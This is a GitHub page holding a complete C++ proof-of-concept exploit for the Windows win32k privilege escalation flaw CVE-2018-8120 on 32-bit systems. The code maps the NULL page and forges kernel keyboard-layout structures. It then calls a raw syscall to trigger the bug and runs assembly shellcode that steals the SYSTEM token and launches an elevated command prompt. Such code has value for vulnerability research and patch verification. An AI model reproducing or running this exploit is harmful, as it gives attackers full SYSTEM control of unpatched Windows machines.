Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
HolicPOC/windows/win32k/CVE-2018-8120/x86.cpp
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
468 lines (412 sloc)
12.6 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Exploit: CVE-2018-8120 | |
* Author: Leeqwind (@leeqwind) | |
* Paper(zh): https://xiaodaozhi.com/exploit/149.html | |
* Paper(en): https://xiaodaozhi.com/exploit/156.html | |
* Declaration: NO LEGAL LIABILITY. | |
*/ | |
#include <Windows.h> | |
#include <wingdi.h> | |
#include <WinUser.h> | |
#include <iostream> | |
#include <Psapi.h> | |
#pragma comment(lib, "psapi.lib") | |
#define POCDEBUG 0 | |
#if POCDEBUG == 1 | |
#define POCDEBUG_BREAK() getchar() | |
#elif POCDEBUG == 2 | |
#define POCDEBUG_BREAK() __debugbreak() | |
#else | |
#define POCDEBUG_BREAK() | |
#endif | |
typedef struct _THRDESKHEAD { | |
HANDLE h; | |
DWORD cLockObj; | |
PVOID pti; | |
PVOID rpdesk; | |
PBYTE pSelf; | |
} THRDESKHEAD, *PTHRDESKHEAD; | |
typedef struct _SHELLCODE { | |
DWORD reserved; | |
DWORD pid; | |
DWORD off_THREADINFO_ppi; | |
DWORD off_EPROCESS_ActiveLink; | |
DWORD off_EPROCESS_Token; | |
BOOL bExploited; | |
BYTE pfnWindProc[]; | |
} SHELLCODE, *PSHELLCODE; | |
static PSHELLCODE pvShellCode = NULL; | |
typedef | |
NTSTATUS | |
(WINAPI *pfNtAllocateVirtualMemory) ( | |
HANDLE ProcessHandle, | |
PVOID *BaseAddress, | |
ULONG_PTR ZeroBits, | |
PSIZE_T RegionSize, | |
ULONG AllocationType, | |
ULONG Protect | |
); | |
pfNtAllocateVirtualMemory NtAllocateVirtualMemory = NULL; | |
/* | |
* kd> dt win32k!tagWINDOWSTATION | |
* +0x000 dwSessionId : Uint4B | |
* +0x004 rpwinstaNext : Ptr32 tagWINDOWSTATION | |
* +0x008 rpdeskList : Ptr32 tagDESKTOP | |
* +0x00c pTerm : Ptr32 tagTERMINAL | |
* +0x010 dwWSF_Flags : Uint4B | |
* +0x014 spklList : Ptr32 tagKL | |
* +0x018 ptiClipLock : Ptr32 tagTHREADINFO | |
* +0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO | |
* +0x020 spwndClipOpen : Ptr32 tagWND | |
* +0x024 spwndClipViewer : Ptr32 tagWND | |
* +0x028 spwndClipOwner : Ptr32 tagWND | |
* +0x02c pClipBase : Ptr32 tagCLIP | |
* +0x030 cNumClipFormats : Uint4B | |
* +0x034 iClipSerialNumber : Uint4B | |
* +0x038 iClipSequenceNumber : Uint4B | |
* +0x03c spwndClipboardListener : Ptr32 tagWND | |
* +0x040 pGlobalAtomTable : Ptr32 Void | |
* +0x044 luidEndSession : _LUID | |
* +0x04c luidUser : _LUID | |
* +0x054 psidUser : Ptr32 Void | |
* kd> dt win32k!tagKL | |
* +0x000 head : _HEAD | |
* +0x008 pklNext : Ptr32 tagKL | |
* +0x00c pklPrev : Ptr32 tagKL | |
* +0x010 dwKL_Flags : Uint4B | |
* +0x014 hkl : Ptr32 HKL__ | |
* +0x018 spkf : Ptr32 tagKBDFILE | |
* +0x01c spkfPrimary : Ptr32 tagKBDFILE | |
* +0x020 dwFontSigs : Uint4B | |
* +0x024 iBaseCharset : Uint4B | |
* +0x028 CodePage : Uint2B | |
* +0x02a wchDiacritic : Wchar | |
* +0x02c piiex : Ptr32 tagIMEINFOEX | |
* +0x030 uNumTbl : Uint4B | |
* +0x034 pspkfExtra : Ptr32 Ptr32 tagKBDFILE | |
* +0x038 dwLastKbdType : Uint4B | |
* +0x03c dwLastKbdSubType : Uint4B | |
* +0x040 dwKLID : Uint4B | |
*/ | |
/* | |
* kd> dt win32k!tagIMEINFO | |
* +0x000 dwPrivateDataSize : Uint4B | |
* +0x004 fdwProperty : Uint4B | |
* +0x008 fdwConversionCaps : Uint4B | |
* +0x00c fdwSentenceCaps : Uint4B | |
* +0x010 fdwUICaps : Uint4B | |
* +0x014 fdwSCSCaps : Uint4B | |
* +0x018 fdwSelectCaps : Uint4B | |
*/ | |
typedef struct { | |
DWORD dwPrivateDataSize; | |
DWORD fdwProperty; | |
DWORD fdwConversionCaps; | |
DWORD fdwSentenceCaps; | |
DWORD fdwUICaps; | |
DWORD fdwSCSCaps; | |
DWORD fdwSelectCaps; | |
} tagIMEINFO; | |
#define IM_UI_CLASS_SIZE 16 | |
#define IM_DESC_SIZE 50 | |
#define IM_FILE_SIZE 80 | |
/* | |
* Extended IME information. | |
* | |
* kd> dt win32k!tagIMEINFOEX | |
* +0x000 hkl : Ptr32 HKL__ | |
* +0x004 ImeInfo : tagIMEINFO | |
* +0x020 wszUIClass : [16] Wchar | |
* +0x040 fdwInitConvMode : Uint4B | |
* +0x044 fInitOpen : Int4B | |
* +0x048 fLoadFlag : Int4B | |
* +0x04c dwProdVersion : Uint4B | |
* +0x050 dwImeWinVersion : Uint4B | |
* +0x054 wszImeDescription : [50] Wchar | |
* +0x0b8 wszImeFile : [80] Wchar | |
* +0x158 fSysWow64Only : Pos 0, 1 Bit | |
* +0x158 fCUASLayer : Pos 1, 1 Bit | |
*/ | |
typedef struct { | |
HKL hkl; | |
tagIMEINFO ImeInfo; | |
WCHAR wszUIClass[IM_UI_CLASS_SIZE]; | |
DWORD fdwInitConvMode; | |
BOOL fInitOpen; | |
BOOL fLoadFlag; | |
DWORD dwProdVersion; | |
DWORD dwImeWinVersion; | |
WCHAR wszImeDescription[IM_DESC_SIZE]; | |
WCHAR wszImeFile[IM_FILE_SIZE]; | |
CHAR fSysWow64Only : 1; | |
BYTE fCUASLayer : 1; | |
} tagIMEINFOEX; | |
CONST DWORD offset_WINDOWSTATION_spklList = 0x014; | |
static | |
BOOL | |
__declspec(naked) | |
xxNtUserSetImeInfoEx(tagIMEINFOEX *imeInfoEx) | |
{ | |
__asm { mov eax, 1226h }; | |
__asm { lea edx, [esp + 4] }; | |
__asm { int 2eh }; | |
__asm { ret }; | |
} | |
#define NtCurrentProcess() (HANDLE)-1 | |
#define NtCurrentThread() (HANDLE)-1 | |
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) | |
static PVOID(__fastcall *pfnHMValidateHandle)(HANDLE, BYTE) = NULL; | |
static | |
VOID | |
xxGetHMValidateHandle(VOID) | |
{ | |
HMODULE hModule = LoadLibraryA("USER32.DLL"); | |
PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu"); | |
PBYTE Address = NULL; | |
for (INT i = 0; i < 0x30; i++) | |
{ | |
if (*(WORD *)(i + pfnIsMenu) != 0x02B2) | |
{ | |
continue; | |
} | |
i += 2; | |
if (*(BYTE *)(i + pfnIsMenu) != 0xE8) | |
{ | |
continue; | |
} | |
Address = *(DWORD *)(i + pfnIsMenu + 1) + pfnIsMenu; | |
Address = Address + i + 5; | |
pfnHMValidateHandle = (PVOID(__fastcall *)(HANDLE, BYTE))Address; | |
break; | |
} | |
} | |
#define TYPE_WINDOW 1 | |
static | |
PVOID | |
xxHMValidateHandleEx(HWND hwnd) | |
{ | |
return pfnHMValidateHandle((HANDLE)hwnd, TYPE_WINDOW); | |
} | |
static | |
PVOID | |
xxHMValidateHandle(HWND hwnd) | |
{ | |
PVOID RetAddr = NULL; | |
if (!pfnHMValidateHandle) | |
{ | |
xxGetHMValidateHandle(); | |
} | |
if (pfnHMValidateHandle) | |
{ | |
RetAddr = xxHMValidateHandleEx(hwnd); | |
} | |
return RetAddr; | |
} | |
static | |
DWORD | |
WINAPI | |
xxTrackExploitEx(VOID) | |
{ | |
BOOL bReturn = FALSE; | |
tagIMEINFOEX iiFaked = { 0 }; | |
SECURITY_ATTRIBUTES sa = { 0 }; | |
WNDCLASSEXW wc = { 0 }; | |
HWND hwndHunt = NULL; | |
PVOID pwndHunt = NULL; | |
HWINSTA hWinStat = NULL; | |
PVOID MemAddr = (PVOID)1; | |
SIZE_T MemSize = 0x1000; | |
std::cout << "[+]" << __FUNCTION__ << std::endl; | |
POCDEBUG_BREAK(); | |
if (!NT_SUCCESS(NtAllocateVirtualMemory(NtCurrentProcess(), | |
&MemAddr, | |
0, | |
&MemSize, | |
MEM_COMMIT | MEM_RESERVE, | |
PAGE_READWRITE)) || MemAddr != NULL) | |
{ | |
std::cout << "[-]Memory alloc failed!" << std::endl; | |
return 1; | |
} | |
ZeroMemory(MemAddr, MemSize); | |
sa.nLength = sizeof(SECURITY_ATTRIBUTES); | |
sa.lpSecurityDescriptor = NULL; | |
sa.bInheritHandle = TRUE; | |
POCDEBUG_BREAK(); | |
wc.cbSize = sizeof(WNDCLASSEXW); | |
wc.lpfnWndProc = DefWindowProcW; | |
wc.cbWndExtra = 0x100; | |
wc.hInstance = GetModuleHandleA(NULL); | |
wc.lpszMenuName = NULL; | |
wc.lpszClassName = L"WNDCLASSHUNT"; | |
RegisterClassExW(&wc); | |
hwndHunt = CreateWindowExW(WS_EX_LEFT, L"WNDCLASSHUNT", | |
NULL, | |
WS_CLIPCHILDREN | WS_CLIPSIBLINGS | WS_POPUP, // no border | |
0, | |
0, | |
0, | |
0, | |
NULL, | |
NULL, | |
GetModuleHandleA(NULL), | |
NULL); | |
PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hwndHunt); | |
POCDEBUG_BREAK(); | |
pwndHunt = head->pSelf; | |
CopyMemory(&iiFaked, (PBYTE)head, sizeof(tagIMEINFOEX)); | |
std::cout << "[+]hwndHunt=" << (PVOID)hwndHunt << std::endl; | |
std::cout << "[+]pwndHunt=" << (PVOID)pwndHunt << std::endl; | |
DWORD *klFaked = (DWORD *)MemAddr; | |
klFaked[0x02] = (DWORD)klFaked; // tagKL->pklNext | |
klFaked[0x03] = (DWORD)klFaked; // tagKL->pklPrev | |
klFaked[0x05] = (DWORD)iiFaked.hkl; // tagKL->hkl | |
klFaked[0x0B] = (DWORD)pwndHunt; // tagKL->piiex | |
*(DWORD *)((PBYTE)&iiFaked + 0x14) |= (DWORD)0x40000; //->bServerSideWindowProc | |
*(DWORD *)((PBYTE)&iiFaked + 0x60) = (DWORD)pvShellCode->pfnWindProc; //->lpfnWndProc | |
std::cout << "[+]pwnd->flags=" << (PVOID)*(DWORD *)((PBYTE)&iiFaked + 0x14) << std::endl; | |
std::cout << "[+]pwnd->lpfnWndProc=" << (PVOID)*(DWORD *)((PBYTE)&iiFaked + 0x60) << std::endl; | |
POCDEBUG_BREAK(); | |
std::cout << "[*]CreateWindowStationW()" << std::endl; | |
hWinStat = CreateWindowStationW(NULL, CWF_CREATE_ONLY, WINSTA_ALL_ACCESS, &sa); | |
std::cout << "[*]SetProcessWindowStation()" << std::endl; | |
SetProcessWindowStation(hWinStat); | |
std::cout << "[+]hWinSta=" << (PVOID)hWinStat << std::endl; | |
POCDEBUG_BREAK(); | |
std::cout << "[*]NtUserSetImeInfoEx()" << std::endl; | |
bReturn = xxNtUserSetImeInfoEx(&iiFaked); | |
if (!bReturn) | |
{ | |
std::cout << "[-]Execute Failed!" << std::endl; | |
return 1; | |
} | |
POCDEBUG_BREAK(); | |
SendMessageW(hwndHunt, 0x9F9F, 0, 0); | |
if (!pvShellCode->bExploited) | |
{ | |
std::cout << "[+]Privilege Escalation Failed!" << std::endl; | |
return 1; | |
} | |
std::cout << "[+]Privilege Escalation Done!" << std::endl; | |
return 0; | |
} | |
static | |
VOID | |
_declspec(naked) | |
xxPayloadWindProc(VOID) | |
{ | |
__asm push ebp; | |
__asm mov ebp, esp; | |
__asm mov eax, dword ptr[ebp + 0Ch]; | |
__asm cmp eax, 9F9Fh; | |
__asm jne LocRETURN; | |
__asm mov ax, cs; | |
__asm cmp ax, 1Bh; | |
__asm je LocRETURN; | |
__asm cld; | |
__asm pushad; | |
__asm call $ + 5; | |
__asm pop edx; | |
__asm sub edx, 35h; | |
LocGetEPROCESS: | |
__asm mov ecx, dword ptr[ebp + 8]; | |
__asm mov ecx, dword ptr[ecx + 8]; | |
__asm mov ebx, dword ptr[edx + 08h]; | |
__asm mov ecx, dword ptr[ebx + ecx]; | |
__asm mov ecx, dword ptr[ecx]; | |
__asm mov ebx, dword ptr[edx + 0Ch]; | |
__asm mov eax, dword ptr[edx + 4]; | |
__asm push ecx; | |
LocForCurrentPROCESS: | |
__asm cmp dword ptr[ebx + ecx - 4], eax; | |
__asm je LocFoundCURRENT; | |
__asm mov ecx, dword ptr[ebx + ecx]; | |
__asm sub ecx, ebx; | |
__asm jmp LocForCurrentPROCESS; | |
LocFoundCURRENT: | |
__asm mov edi, ecx; | |
__asm pop ecx; | |
LocForSystemPROCESS: | |
__asm cmp dword ptr[ebx + ecx - 4], 4; | |
__asm je LocFoundSYSTEM; | |
__asm mov ecx, dword ptr[ebx + ecx]; | |
__asm sub ecx, ebx; | |
__asm jmp LocForSystemPROCESS; | |
LocFoundSYSTEM: | |
__asm mov esi, ecx; | |
__asm mov eax, dword ptr[edx + 10h]; | |
__asm add esi, eax; | |
__asm add edi, eax; | |
__asm lods dword ptr[esi]; | |
__asm stos dword ptr es : [edi]; | |
__asm and eax, 0FFFFFFF8h; | |
__asm add dword ptr[eax - 18h], 2; | |
__asm mov dword ptr[edx + 14h], 1; | |
__asm popad; | |
__asm xor eax, eax; | |
LocRETURN: | |
__asm leave; | |
__asm ret 10h; | |
__asm int 3; | |
__asm int 3; | |
__asm int 3; | |
__asm int 3; | |
__asm int 3; | |
} | |
static | |
VOID xxCreateCmdLineProcess(VOID) | |
{ | |
STARTUPINFO si = { sizeof(si) }; | |
PROCESS_INFORMATION pi = { 0 }; | |
si.dwFlags = STARTF_USESHOWWINDOW; | |
si.wShowWindow = SW_SHOW; | |
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" }; | |
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); | |
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess); | |
} | |
INT POC_CVE20188120(VOID) | |
{ | |
std::cout << "-------------------" << std::endl; | |
std::cout << "POC - CVE-2018-8120" << std::endl; | |
std::cout << "-------------------" << std::endl; | |
*(FARPROC *)&NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"), | |
"NtAllocateVirtualMemory"); | |
if (NtAllocateVirtualMemory == NULL) | |
{ | |
return 1; | |
} | |
pvShellCode = (PSHELLCODE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); | |
if (pvShellCode == NULL) | |
{ | |
return 1; | |
} | |
ZeroMemory(pvShellCode, 0x1000); | |
pvShellCode->pid = GetCurrentProcessId(); | |
pvShellCode->off_THREADINFO_ppi = 0x0b8; | |
pvShellCode->off_EPROCESS_ActiveLink = 0x0b8; | |
pvShellCode->off_EPROCESS_Token = 0x0f8; | |
for (UINT i = 0; ; i++) | |
{ | |
if (*(DWORD *)&((PBYTE)xxPayloadWindProc)[i] == 0xcccccccc) | |
{ | |
CopyMemory(pvShellCode->pfnWindProc, xxPayloadWindProc, i); | |
break; | |
} | |
} | |
if (pvShellCode->pfnWindProc[0] == 0) | |
{ | |
return 1; | |
} | |
if (!xxTrackExploitEx()) | |
{ | |
xxCreateCmdLineProcess(); | |
} | |
std::cout << "-------------------" << std::endl; | |
getchar(); | |
return 0; | |
} | |
INT main(INT argc, CHAR *argv[]) | |
{ | |
POC_CVE20188120(); | |
return 0; | |
} |